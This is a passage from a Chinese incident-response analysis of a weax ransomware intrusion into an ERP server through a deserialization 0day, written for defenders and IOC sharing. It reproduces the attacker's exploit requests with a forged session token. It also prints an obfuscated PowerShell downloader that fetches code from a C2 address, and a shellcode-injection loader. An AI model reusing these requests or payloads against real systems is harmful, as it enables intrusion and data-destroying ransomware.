LOGO 首页 OA教程 ERP教程 模切知识交流 PMS教程 CRM教程 技术文档 其他文档  
 
网站管理员

【勒索预警】万字溯源分析,weax勒索病毒利用国内代理IP对某ERP使用通杀0day攻击勒索,影响资产近4万(附IOC)

admin
2026年10月12日 11:6 本文热度 258

写在前面

本文首发于 Solar 应急响应团队「州弟学安全(徐龙州)」,转载请务必注明出处。

这是一篇万字的完整溯源分析。我们沿攻击者实际使用的参数逐层跟进源码,完整还原了 weax 勒索家族利用某国产 ERP 通杀 0day 入侵、投递、绕过查杀、落地加密的全过程,并对攻击者遗留的多层混淆载荷逐层解码。赶时间的读者可直接查看文末 IOC 清单与修复建议;有条件的读者,我们建议完整阅读,这是一次不常见的、证据链完整闭环的 0day 攻击溯源实录。

前言

2026 年 9 月 20 日晚,某企业的 ERP 服务器被勒索加密,业务文件被批量追加 .weax 后缀,业务陷入中断。受害单位找到我们时,最关心的问题只有一个:攻击者到底是怎么进来的。

这并不是 weax 勒索家族第一次盯上这套 ERP。早在一个月前,我们就跟进披露过该家族利用该ERP系统任意文件上传漏洞发起的攻击(【勒索预警】某ERP曝0day漏洞致Weax勒索病毒在国内爆发,波及资产近4万台(合并修订版))。而本次经过进一步溯源,我们确认攻击者使用的是另一枚通杀 0day:OpenServerDialog 任意类实例化叠加 BinaryFormatter 反序列化。详细的溯源以及漏洞挖掘步骤,请看下文。

截至本次事件,我们跟进此家族使用 0day 发起的攻击已有多起。此类 ERP、财务软件在互联网上的暴露资产几乎都是几万台的规模,以本次涉事系统为例,公开测绘平台可见资产约 3.8 万个,其中超过 99% 位于国内。

通过资产测绘平台获取此ERP系统全网资产数量

在此前的系列分析中我们曾指出,此家族既往主要使用 nday、1day 进行攻击,而今年 6 月份开始转向使用 0day 进行攻击。攻击武器的升级速度已经超出我们对常规犯罪团伙的能力认知,我们目前不排除 AI 参与勒索攻击的可能,也不排除漏洞是通过一些渠道购买所得,目前尚存嫌疑。

既往跟进的 weax 勒索病毒文章可阅读如下链接:

【勒索预警】Weax勒索病毒利用阿里云服务器攻击用友系应用,无中间件日志下完成完整溯源(附IOC)

【勒索预警】快转发!某财务ERP曝最新0day,Weax勒索病毒携杭州代理IP再次爆发,全网同类资产超十万,完整溯源复盘(附IOC)

【勒索预警】警惕!Weax勒索病毒改用国内IP发起0day攻击,某地产ERP遭加密,完整溯源复盘(附IOC)

【勒索预警】某ERP曝0day漏洞致Weax勒索病毒在国内爆发,波及资产近4万台(合并修订版)

【全网首发】Weax与Sorry勒索病毒席卷全国中小企业,深度还原全链路攻击,疑似黑客利用AI挖掘管家婆0day漏洞

回到本次事件。攻击者前两次投递的载荷均被 Windows Defender 实时拦截,第三次更换为高度混淆载荷、绕过 AMSI 后方才得手;加密完成后,攻击者又使用多个国内代理 IP 对受害站点持续复打,暴露出自动化攻击特征。以下内容按事件概述、详细溯源过程、确定漏洞类型、代码审计、复现验证、修复机制比对、影响版本、修复建议与 IOC 的顺序展开,文末附完整的 IOC 清单,可直接用于检测规则编写与资产排查。

一、事件概述

2026 年 9 月 20 日晚,攻击者使用中国香港 IP 23.248.226.234 对受害站点发起攻击。攻击请求严格成对出现,先访问测试页面 /SYSN/test/finan/CostLogQuery.ashx 打开调试窗口,再借助 /SYSN/config/SqlSetting.ashx 的系统消息机制实例化测试类 CostLogDebugRec,将其 urlbox 参数指向攻击者服务器,诱导服务端下载并反序列化恶意载荷,从而获得命令执行能力。

攻击者前两次投递的 PowerShell 载荷均被 Windows Defender 实时拦截并隔离。第三次攻击者更换为高度混淆的载荷,先通过反射篡改 AMSI 内部标志绕过查杀,再执行内存加载型 shellcode,最终于 21:18 将加密器 QgMCrCKbF.exe 落地至 C:\Windows\System32\ 并运行,服务器数据文件被批量加密为 .weax 后缀,安全日志被清除,业务中断。

应急响应过程中,我方对被攻击版本的全量反编译源码开展代码审计,完整还原了从 HTTP 请求到反序列化执行的攻击链,并在客户复建环境(ServerVersion 32.19)上逐项复现验证。复现中发现攻击链各入口在新版本上全部被拦截,据此提取复建环境源码与被攻击版本逐文件比对,确认官方已发布修复,但修复方式为入口拦截式加固,漏洞本体(任意类实例化原语、反序列化执行点、反射调用原语)均未根除。

这里先向读者说明结论:此漏洞已被官方修复,但修复的性质值得注意。为了严谨性,我们将被勒索攻击的版本与官方已修复的新版本进行了逐文件比对,确认修复真实存在且已生效,详细过程在代码审计部分。同时需要坦诚说明的是,官方本次只是把入口修了,序列化的点实际上没有修复,攻击链上的多个原语仍然保留,还是有一定风险,具体证据与加固建议见后文。

二、详细溯源过程

时区换算说明:受害站点的 IIS 访问日志默认使用 UTC 时区,Windows 系统日志使用 UTC+8(本地时间)。下文凡涉及 IIS 日志与系统日志对照之处,均按"IIS 日志 UTC 时间 + 8 小时 = 本地时间"进行换算。

首次漏洞利用与载荷投递,载荷被 Defender 拦截(2026-09-20 20:58)

2026-09-20 12:58:10(北京时间20:58:10)IP:23.248.226.234 请求访问:

/SYSN/test/finan/CostLogQuery.ashx __sys_mobile_session=AFBE8575CD7E818896F08695A1BB2BC94E00980BB7AD772EFE1438D2160706242C75FE87103BEEB6473E03D51B076234965138B2927E618BCD52FC71F5E3F31E&__msgid=SysReportCallBack 6088 - 23.248.226.234 curl/8.21.0 - 200 0 0 2385
UA: curl/8.21.0 → 200

/SYSN/config/SqlSetting.ashx __sys_mobile_session=AFBE8575CD7E818896F08695A1BB2BC94E00980BB7AD772EFE1438D2160706242C75FE87103BEEB6473E03D51B076234965138B2927E618BCD52FC71F5E3F31E&__sys_msgid=sdk_sys_OpenServerDialog&pagetype=WkJTZXJ2aWNlcy52aWV3LlNZU04udGVzdC5maW5hbi5Db3N0TG9nRGVidWdSZWM= 6088 - 23.248.226.234 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_14_6)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/13.0.2+Safari/605.1.15 - 200 0 0 985
UA: Safari(随机浏览器 UA)→ 200

IIS 访问日志 u_ex260920,2026-09-20 12:58 攻击者 IP 对 CostLogQuery.ashx 与 SqlSetting.ashx 的成对请求(红框行),均返回 200

这对请求中藏着三个后续审计要用到的关键参数:__msgid=SysReportCallBack、__sys_msgid=sdk_sys_OpenServerDialog、pagetype=WkJT...ZWM=。其中 pagetype 为 Base64 编码,解码结果为 ZBServices.view.SYSN.test.finan.CostLogDebugRec,是一个 .NET 页面类的完全限定名。另外,两类请求都携带同一段 __sys_mobile_session 会话凭据,该凭据实为攻击者利用硬编码密钥离线伪造,解密过程见"代码审计"审计步骤 5。

威胁情报平台查询 23.248.226.234,该 IP 已被标记为恶意,存在多起漏洞利用与扫描相关情报记录

对应系统日志显示,2026-09-20 20:58:12.449 至 20:58:12.678,IIS 工作进程(用户 IIS APPPOOL\64)启动了 PowerShell 控制台,系统日志提示"PowerShell 控制台已准备好用于用户输入",随后写入一段 ScriptBlock 代码并持续执行:

正在创建 Scriptblock 文本(已完成 1,共 1):
<# Verify backup integrity checksums #>;$ServerList = $PID; $ServerList = Get-Random -Minimum 1000 -Maximum 9999;$serverList63=@(271,267,286,230,238,238,308,299,317,...);$processID52=198;...;$clusterInfo58=-join($serverList63|%{[char]($_-$processID52)});<# Update service mesh routing table #>;$_t=[type](-join(@(95,133,127,128,...)|%{[char]($_-12)}));$_sb=$_t.GetMethod((-join(@(67,114,101,97,116,101)|%{[char]$_})),[type[]]@([string])).Invoke($null,@($clusterInfo58));$_sb.GetType().GetMethod((-join(@(73,110,118,111,107,101)|%{[char]$_})),[type[]]@([object[]])).Invoke($_sb,@(,@()))

ScriptBlock ID: fc80fd19-b6a7-437b-8a53-47b748ba9887

这段代码伪装成运维脚本(注释写着"校验备份完整性""更新服务网格路由表"),实际是三层混淆的下载器。逐层解码如下:

  1. 数组 $serverList63 中每个数字减去 198 后转为字符,拼出字符串 IEX ((new-object net.webclient).downloadstring('``http://166.75.11.35:11753/kTaKz')),即从 C2 地址 166.75.11.35:11753 下载第二段载荷并直接执行;
  2. 第二组数组每个数字减去 12 后拼出类型名 System.Management.Automation.ScriptBlock;
  3. 最后两行分别还原出方法名 Create 与 Invoke,合起来就是调用 ScriptBlock.Create(...).Invoke(),把第 1 步拼出的字符串当作脚本在内存中执行。

其中 $PID、Get-Random 等赋值均为干扰项,不参与实际逻辑。解码所得的下载地址 166.75.11.35:11753 与后文威胁情报查询截图中的 C2 一致。

Windows 事件日志(FullEventLogView),2026-09-20 20:58:12 PowerShell 控制台启动并写入 ScriptBlock 代码(事件 ID 4104,高亮行),下方为脚本内容详情

2026-09-20 20:58:19.378,经过数十次运行后,系统日志记录了另一段 ScriptBlock(共 26 个分块)。这是从 C2 下载的第二段载荷,即远程加载加密器的核心命令:

正在创建 Scriptblock 文本(已完成 26,共 26):
[Byte[]]$var_code = [System.Convert]::FromBase64String('MjIyMjIyMjIyMjIyMjIy...(约 5KB Base64 数据)...')

for ($x = 0; $x -lt $var_code.Count; $x++) {
        $var_code[$x] = $var_code[$x] -bxor 35
}

[Byte[]]$func_gmh = [BitConverter]::GetBytes((func_get_proc_address kernel32 GetModuleHandleA).ToInt32())
[Byte[]]$func_gpa = [BitConverter]::GetBytes((func_get_proc_address kernel32 GetProcAddress).ToInt32())
[Array]::Copy($func_gmh, 0, $var_code, 41407, $func_gmh.Length)
[Array]::Copy($func_gpa, 0, $var_code, 41414, $func_gpa.Length)

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), ...)
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, ...)
$var_runme.Invoke([IntPtr]::Zero)

If ([IntPtr]::size -eq 8) {
        start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
        IEX $DoIt
}

ScriptBlock ID: 841cfe6e-b73a-4bd6-9a31-a666fa09b0c1

这段脚本的行为可以还原为五步:

  1. 将约 5KB 的 Base64 数据解码为字节数组,再逐字节与 35(0x23)异或,还原出 shellcode;
  2. 通过反射调用 GetProcAddress 动态解析 GetModuleHandleA、GetProcAddress 两个 API 的内存地址,并写回 shellcode 的固定偏移(41407、41414 字节处),供 shellcode 运行时自行解析其他 API,这是典型的无文件反射加载手法;
  3. 调用 VirtualAlloc 申请一块可读可写可执行(0x40 即 PAGE_EXECUTE_READWRITE)的内存,把 shellcode 复制进去;
  4. 将内存地址强转为函数指针并调用,shellcode 开始执行,全程不落地文件;
  5. 末尾判断系统位数,64 位系统下通过 start-job -RunAs32 再以 32 位环境执行一遍同一载荷,兼容两种架构。

对该 shellcode 进一步提取可见字符串,其中包含 powershell、-NoProfile、-NonInteractive、-EncodedCommand 及一段 Base64 编码命令,说明 shellcode 运行后会再启动一个隐蔽的 PowerShell 子进程执行加密器下载指令,属于多层嵌套加载。

Windows 事件日志,2026-09-20 20:58:19 系统记录 26 个分块的 ScriptBlock(事件 ID 4104,高亮行),下方为 Base64 载荷内容

2026-09-20 20:58:20.741,Windows Defender 检测到 PowerShell 正在执行危险命令,AMSI 在 Invoke-Expression 调用点判定脚本包含恶意内容并阻止:

错误消息 = 所在位置 行:1 字符: 1
+ function func_get_proc_address {
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
此脚本包含恶意内容,已被你的防病毒软件阻止。
全限定错误 ID = ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand


上下文:
        严重性 = Warning
        主机名 = ServerRemoteHost
        主机版本 = 1.0.0.0
        主机 ID = 6594ba86-d8e1-4194-9c39-e2976b064ff7
        主机应用程序 =c:\windows\syswow64\windowspowershell\v1.0\powershell.exe -Version 5.1 -s -NoLogo -NoProfile
        引擎版本 = 5.1.14393.6343
        运行空间 ID = 8cb2f203-8b1f-42d0-b026-54bbe42bb9d6
        管道 ID = 1
        命令名称 = Invoke-Expression
        命令类型 = Cmdlet
        脚本名称 = 
        命令路径 = 
        序列号 = 15
        用户 = IIS APPPOOL\64
        已连接用户 =IIS APPPOOL\64
        Shell ID = Microsoft.PowerShell


用户数据:

Windows 事件日志,2026-09-20 20:58:20 Defender 检出恶意脚本(事件 ID 1116,高亮行),详情显示威胁名称与 IIS APPPOOL\64 上下文

2026-09-20 20:58:31.441,Windows Defender 对执行危险命令的进程完成隔离,首次载荷投递失败。

Defender 事件详情,威胁项目 Trojan:PowerShell/... 被标记为已隔离

第二次投递相同载荷,再次被拦截(2026-09-20 21:12)

2026-09-20 13:12:05(UTC,北京时间 21:12:05),攻击者 IP 23.248.226.234 再次发起同一对请求,User-Agent 更换为 Firefox:

/SYSN/test/finan/CostLogQuery.ashx __sys_mobile_session=AFBE8575CD7E818896F08695A1BB2BC94E00980BB7AD772EFE1438D2160706242C75FE87103BEEB6473E03D51B076234965138B2927E618BCD52FC71F5E3F31E&__msgid=SysReportCallBack 6088 - 23.248.226.234 curl/8.21.0 - 200 0 0 203
UA: curl/8.21.0 → 200

/SYSN/config/SqlSetting.ashx __sys_mobile_session=AFBE8575CD7E818896F08695A1BB2BC94E00980BB7AD772EFE1438D2160706242C75FE87103BEEB6473E03D51B076234965138B2927E618BCD52FC71F5E3F31E&__sys_msgid=sdk_sys_OpenServerDialog&pagetype=WkJTZXJ2aWNlcy52aWV3LlNZU04udGVzdC5maW5hbi5Db3N0TG9nRGVidWdSZWM= 6088 - 23.248.226.234 Mozilla/5.0+(Windows+NT+6.2;+rv:140.)+Gecko/20100101+Firefox/140. - 200 0 0 827
UA: Firefox/140 → 200

IIS 访问日志,2026-09-20 13:12 攻击者第二次发起成对请求(红框行),返回 200

对应系统日志 2026-09-20 21:12:06.402 至 21:12:07.235,PowerShell 控制台再次启动,写入与第一次完全相同的第一段下载器脚本(ScriptBlock ID e1b41b74)。

正在创建 Scriptblock 文本(已完成 1,共 1):
<# Verify backup integrity checksums #>;$ServerList = $PID; $ServerList = Get-Random -Minimum 1000 -Maximum 9999;$serverList63=@(271,267,286,230,238,238,308,299,317,243,309,296,304,299,297,314,230,308,299,314,244,317,299,296,297,306,303,299,308,314,239,244,298,309,317,308,306,309,295,298,313,314,312,303,308,301,238,237,302,314,314,310,256,245,245,247,252,252,244,253,251,244,247,247,244,249,251,256,247,247,253,251,249,245,305,282,295,273,320,237,239,239);$processID52=198;$TraceLevel = $PID; $ConfigPath = Get-Random -Minimum 1000 -Maximum 9999;$clusterInfo58=-join($serverList63|%{[char]($_-$processID52)});<# Update service mesh routing table #>;$_t=[type](-join(@(95,133,127,128,113,121,58,89,109,122,109,115,113,121,113,122,128,58,77,129,128,123,121,109,128,117,123,122,58,95,111,126,117,124,128,78,120,123,111,119)|%{[char]($_-12)}));$_sb=$_t.GetMethod((-join(@(67,114,101,97,116,101)|%{[char]$_})),[type[]]@([string])).Invoke($null,@($clusterInfo58));$_sb.GetType().GetMethod((-join(@(73,110,118,111,107,101)|%{[char]$_})),[type[]]@([object[]])).Invoke($_sb,@(,@()))

ScriptBlock ID: e1b41b74-2153-4343-ba18-f99d61524a74
路径: 

Windows 事件日志,2026-09-20 21:12:06 PowerShell 控制台再次启动并写入相同脚本(事件 ID 4104,高亮行)

2026-09-20 21:12:50.586,第二段 shellcode 加载脚本再次写入执行(共 19 个分块,内容与首次投递一致,ScriptBlock ID 84596106)。

正在创建 Scriptblock 文本(已完成 19,共 19):
QCFAsUDxQTFBcUGxQfFGMUZxStFLcUuxS/FIMUJRsyGw8bEBsbGx8bYxtCG6gbnhvnG+sb7xvzG/cb+xv/G8MbCRoTGhcaGxofGrgaihqMGpwa5xr/GsEa0hrUGiUZLxk5GQAZERkUGWIZbBmsGY8Z6hm6H4MfhR/yHxseRh5bHqAejR3vHZQc5hzsHMQczRzbHCMTISMPIyMjIxMuEzcTZxP+E3ESfBBSEKAQhhCUEOoQ+BDOENwQMhfxGiMjI2MhI08jIyMrGC8YMxg3GDsYPxgDGAcYCxgPGBMYFxgbGB8YYxhnGGsYbxhzGHcYexh/GEMYRxhLGE8YUxhXGFsYXxijGKcY8BgoH20fdx+rH7AflR9ZHqQetR6UHuAeyR7UHt8eKR3gHCMjI3MhI6MjIyNgE40T4hP+E8wTIRI3EncSVxJ1F1sXkxf6F9UXIhY7Fh4WdxYqFTcZWhmmGd4ZNBgDGGsYdRh9GEgYqhiwGL8YhBifGOAY6hj8GNkYvB8uHmYeex5KHq0e6h76HtceNx1JHVgdlR3xHQ4cGxxFHFccXhyeHOwcIyMjQyEjuyMjIxITHRNFE7sTgxP9EzQSYBJIEoESjxJBEDQXCRcTFxUXHxdhF2sXbBd1F34XRxdIF1EXWheiF6oXshe+F4UXiBeSF5gX5xfsF/gXwxfTF9YX2BciFjQWPRZuFUkVtRXsFf8VmBTpFFwb+BvTGxUaHxprGl8YGB9hH50f5h8DHm4euB5THakdsx22HbgdgR2XHSNTISN/IyMjRBNVE1cSshK5EoUSkxKfEuQSLRFNEcAR1hCMFzwVcxVDFQAUChQWFGcUWxSnFLAUvBTfFBsbfhvjGxsZHRlnGWkZcxl1GX8ZQRlLGU0Zbx9XHmwcI6MhI9sjIyPME9UTJRIyEhsSHBJsEnkSoRKqEroShxLvEvASwBLNEuAR6RH2EcYRpBetF70XihfoF/EXwRfOFywWNRYFFhIWcBZ5FkkWVhaTFpQW5BbxFtAW2RYpFTYVFBUdFW0VehVYFaEVsRW+FecV6BX4FcUVZBRtFH0UShTvFPAUwBTNFHIbextLG1AbfxlAGVAZXRmDGYQZlBnhGccZyBnYGSUYCxgMGBwYaRimGK8YvxiEGOsY7Bj8GMkYLx8wHwAfDR9zH3QfRB9RH7MfhR+eH/MfEx5lHn4eUx7xHsse3B4xHVcdqR2CHZcdYBy/HIgcwRwjsyEjuyMjIzsTHxNJErsShxKTEkMRUBGPEJsQWhfqF/4XxRctFgkWExafFukW2xYOFR4VIhQkFDAUPxQMFE0UWRSqFLcU1RQRG3QbnRv3G/0byhvWGysauRolGRYZdRm0GeIZKRgeGH8Ysxj+GNwYAR90H1QfuB+dH+Yf8h/WHyMeZh5cHpAe4h7GHsge0R7aHtwecRwjIyODISNDIyMjnhPsEx0SWBKpEv8SxBLSEiERLhE/EXQRgxGIEZ8R4RHrEf8RyRHMESoQOBAeEEYQ7BAgFz8XBhdDF1kX/BfEF9AX3hcgFioWLBZ1FjMVNBWmFa8VChRTGyOTISM7IyMjGxAfEGMQZxBrEHcQexAjIyPjISMLIyMjTxZTFusWwxbHFssWzxbTFtcWCxVjFWcVaxVvFXMVdxUjMyAjAyMjIwMRBxELEQ8RExEXEasXrxezF7cXuxcjIyMDICOjIyMjSxJTElcSWxJfEqMSpxKrEq8SsxK3ErsSvxKDEocSixKPEpMSlxKbEp8S4xLnEusS7xLzEvcS+xL/EsMSxxLLEs8S0xLXEtsS3xIjEScRKxEvEQcRCxEPERcRGxEfEWMRZxFrEW8RcxF7EY8RkxGXEZsR4xHHESMjIxMgI1sjIyO7FocW6xbLFisVCxVrFUsVqxWLFesVyxUnFCsUCxRrFEsUqxSLFJcU8xT/FNsUNxs7GxcbGxt7G1cbWxu7G5sb+xvHGyMaAxofGmMaQxqjGoMa4xrDGiMZAxkPGWsZRxlLGasZixnnGesZxxnLGSMjI3MgI88jIyMjE48RlxGfEecR7xH3Ef8RxxHPEdcR3xEnEC8QNxA/EAcQDxAXEB8QZxBvEHcQfxBDEEcQsxSrG9MbIxozGgMaExp3GkMaRxpLGk8aUxpbGl8asxq3GrsavxqDGocaixqPGpMalxrrGvMasx63Hrsevx6DHoceix6PHpMelx6bHp8e4x7nHuse7x7zHvce+x7/HsMexx7LHs8e0x7XHtse3x4jHScdKx0vHTMdNx07HT8dAx0HHQsdDx0THRcdGx0fHWMdcx17HX8dQx1HHUsdTx1THVcdWx1fHasdcxx3HNscIyMjQyAjLyMjIyMTNxMj4yAjLyMjI5cSIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj')

for ($x = 0; $x -lt $var_code.Count; $x++) {
        $var_code[$x] = $var_code[$x] -bxor 35
}

[Byte[]]$func_gmh = [BitConverter]::GetBytes((func_get_proc_address kernel32 GetModuleHandleA).ToInt32())
[Byte[]]$func_gpa = [BitConverter]::GetBytes((func_get_proc_address kernel32 GetProcAddress).ToInt32())
[Array]::Copy($func_gmh, 0, $var_code, 41407, $func_gmh.Length)
[Array]::Copy($func_gpa, 0, $var_code, 41414, $func_gpa.Length)

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'
@

If ([IntPtr]::size -eq 8) {
        start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
        IEX $DoIt
}


ScriptBlock ID: 84596106-6689-4def-bcf6-f5d101a66100
路径: 

Windows 事件日志,2026-09-20 21:12:50 系统记录 19 个分块的 ScriptBlock(事件 ID 4104,高亮行),下方为 Base64 载荷内容

2026-09-20 21:12:51.157,Windows Defender 再次在同一位置(Invoke-Expression)检出并阻止该脚本,21:13:01.448 完成隔离。第二次投递同样失败。

错误消息 = 所在位置 行:1 字符: 1
+ function func_get_proc_address {
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
此脚本包含恶意内容,已被你的防病毒软件阻止。
全限定错误 ID = ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand


上下文:
        严重性 = Warning
        主机名 = ServerRemoteHost
        主机版本 = 1.0.0.0
        主机 ID = 12971552-3e3b-49af-8ab6-82c4ff28e12e
        主机应用程序 =c:\windows\syswow64\windowspowershell\v1.0\powershell.exe -Version 5.1 -s -NoLogo -NoProfile
        引擎版本 = 5.1.14393.6343
        运行空间 ID = afb8d990-318e-4639-8bc2-7506df1e2118
        管道 ID = 1
        命令名称 = Invoke-Expression
        命令类型 = Cmdlet
        脚本名称 = 
        命令路径 = 
        序列号 = 15
        用户 = IIS APPPOOL\64
        已连接用户 =IIS APPPOOL\64
        Shell ID = Microsoft.PowerShell


用户数据:

Windows 事件日志,2026-09-20 21:12:51 Defender 再次检出恶意脚本(事件 ID 1116,高亮行)

Windows 事件日志,2026-09-20 21:13:01 Defender 对恶意脚本执行隔离(事件 ID 1117,高亮行)

第三次更换混淆载荷,绕过 AMSI 后加密器落地(2026-09-20 21:17)

2026-09-20 13:17:13(UTC,北京时间 21:17:13),攻击者第三次发起同一对请求:

/SYSN/test/finan/CostLogQuery.ashx __sys_mobile_session=AFBE8575CD7E818896F08695A1BB2BC94E00980BB7AD772EFE1438D2160706242C75FE87103BEEB6473E03D51B076234965138B2927E618BCD52FC71F5E3F31E&__msgid=SysReportCallBack 6088 - 23.248.226.234 curl/8.21.0 - 200 0 0 187

2026-09-20 13:17:24(北京时间21:17:24)IP:23.248.226.234 请求访问:

/SYSN/config/SqlSetting.ashx __sys_mobile_session=AFBE8575CD7E818896F08695A1BB2BC94E00980BB7AD772EFE1438D2160706242C75FE87103BEEB6473E03D51B076234965138B2927E618BCD52FC71F5E3F31E&__sys_msgid=sdk_sys_OpenServerDialog&pagetype=WkJTZXJ2aWNlcy52aWV3LlNZU04udGVzdC5maW5hbi5Db3N0TG9nRGVidWdSZWM= 6088 - 23.248.226.234 Mozilla/5.0+(ZZ;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/137.0.0.0+Safari/537.36 - 200 0 0 10886

IIS 访问日志,2026-09-20 13:17 攻击者第三次发起成对请求(红框行),返回 200

对应系统日志 2026-09-20 21:17:23.967 至 21:17:26.820,PowerShell 控制台第三次启动。这一次的第一段脚本与前两次相同,但第二段载荷更换为高度混淆的版本:

正在创建 Scriptblock 文本(已完成 1,共 1):
